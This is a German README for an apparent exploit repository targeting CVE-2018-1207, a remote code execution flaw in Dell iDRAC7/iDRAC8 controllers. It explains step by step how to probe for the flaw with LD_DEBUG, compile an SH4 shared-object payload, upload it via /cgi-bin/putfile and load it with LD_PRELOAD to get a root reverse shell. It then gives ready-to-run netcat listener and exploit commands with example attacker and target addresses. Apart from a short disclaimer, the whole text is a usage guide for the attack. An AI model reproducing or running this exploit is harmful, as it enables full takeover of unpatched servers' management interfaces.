Exploit PoC für CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE (Reverse Shell)

Dieses Repository enthält ein Proof-of-Concept-Python-Skript, um einen Exploit für Remotecodeausführung in iDRAC7- und iDRAC8-Geräten mit Firmware-Versionen 2.52.52.52 und darunter zu demonstrieren. Dieser Exploit ermöglicht es Angreifern, Code als Root-Benutzer auszuführen, was zu einer vollständigen Systemübernahme führen kann. Im Code zeigen wir dies durch einen Reverse-Shell-Angriff mit dem Exploit. Der Code in diesem Repository ist eine bearbeitete Version des ursprünglichen Exploits von Michael Gargiullo (mgargiullo).

Haftungsausschluss - Dieser Code wird nur zu Bildungszwecken bereitgestellt. Sie dürfen dieses Skript nicht verwenden, um Geräte anzugreifen, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Einwilligung haben. Die Verwendung dieses Skripts auf Systemen ohne entsprechende Autorisierung ist illegal. Ich übernehme keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Unbefugte Nutzung kann zu schwerwiegenden rechtlichen Konsequenzen führen, einschließlich Geld- und Haftstrafen.

Wie funktioniert dieser Exploit?

1. Der Exploit prüft zunächst, ob das Ziel verwundbar ist. Dies geschieht durch das Senden einer Anfrage an die Anmeldeseite mit einem speziellen Parameter: ?LD_DEBUG=files. Wenn die Antwort Debugging-Inhalte enthält, die zeigen, welche Bibliotheksdateien geladen werden sollen, wissen wir, dass es verwundbar ist.
2. Sobald die Prüfung abgeschlossen ist und das Gerät verwundbar ist, erstellt das Skript eine Datei mit C-Code, die das Gerät ausführt, wenn wir den Exploit auslösen, was zu einer Reverse-Shell-Verbindung führt.
3. Dann kompilieren wir die erstellte Datei mit dem C-Code mit sh4-linux-gnu-gcc. Da der iDRAC auf einer SuperH (SH4) Prozessorarchitektur läuft, müssen wir den Code in ein Shared Object (.so) kompilieren, damit er vom iDRAC ausgeführt werden kann.
4. Nach Abschluss der Kompilierung können wir die Datei hochladen, indem wir eine POST-Anfrage an /cgi-bin/putfile senden, wo sie die Datei unter /tmp/sshpkauthupload.tmp speichert.
5. Nachdem die Datei hochgeladen wurde, senden wir eine weitere GET-Anfrage an /cgi-bin/discover mit dem Parameter ?LD_PRELOAD=/tmp/sshpkauthupload.tmp. Dies zwingt den iDRAC, eine bestimmte Bibliothek vor jeder anderen Bibliothek zu laden, wodurch die modifizierte .so-Datei aus dem Verzeichnis /tmp/ geladen wird.
6. Da sich der Payload-Code in einer constructor-Funktion befindet, wird der Code sofort nach dem Laden ausgeführt, was zu einer Reverse-Shell als root-Benutzer (der Benutzer mit den höchsten Berechtigungen auf einem Linux-basierten System) führt.

Voraussetzungen

Bitte stellen Sie vor dem Ausführen des Skripts sicher, dass Sie Folgendes haben:

• Python3
• Das requests-Modul von Python3 (kann über pip install requests installiert werden)
• SH4 C Cross-Compiler (kann über sudo apt install gcc-sh4-linux-gnu installiert werden)

Ohne diese Voraussetzungen treten Probleme auf und der Exploit kann nicht vollständig ausgeführt werden! Es gibt keine Überprüfungen, ob diese Voraussetzungen erfüllt sind.

Verwendung

1. Starten Sie einen Listener auf Ihrem Rechner, um die Reverse-Shell zu empfangen, verwenden Sie dafür netcat.

   root@kitploit:~

   nc -lvnp <LPORT>
   

   Ersetzen Sie <LPORT> durch den Port, den Sie abhören möchten (z. B. 5000).

2. Führen Sie das Skript mit den erforderlichen Argumenten aus.

   root@kitploit:~

   python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
   

Argumente

• --rhost: Die IP-Adresse des Ziel-iDRAC.
• --rport: Der Port der iDRAC-Weboberfläche (normalerweise 443).
• --lhost: Ihre lokale IP-Adresse, zu der die Reverse-Shell zurückverbinden soll.
• --lport: Ihr lokaler Port, auf dem der Netcat-Listener läuft.
• --keep-payload: (Optional) Wenn gesetzt, löscht das Skript payload.c und payload.so nach der Ausführung nicht von Ihrem Rechner.

Beispiel

1. Angreifer-Maschine (IP: 192.168.1.100) - Starten Sie den Listener.

   root@kitploit:~

   nc -lvnp 5000
   

2. Angreifer-Maschine - Führen Sie den Exploit aus, der auf einen iDRAC unter 192.168.1.50 abzielt.

   root@kitploit:~

   python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
   

   Bei Erfolg erhalten Sie eine Shell-Sitzung in Ihrem Netcat-Terminal, in der Sie Befehle wie racadm ausführen können.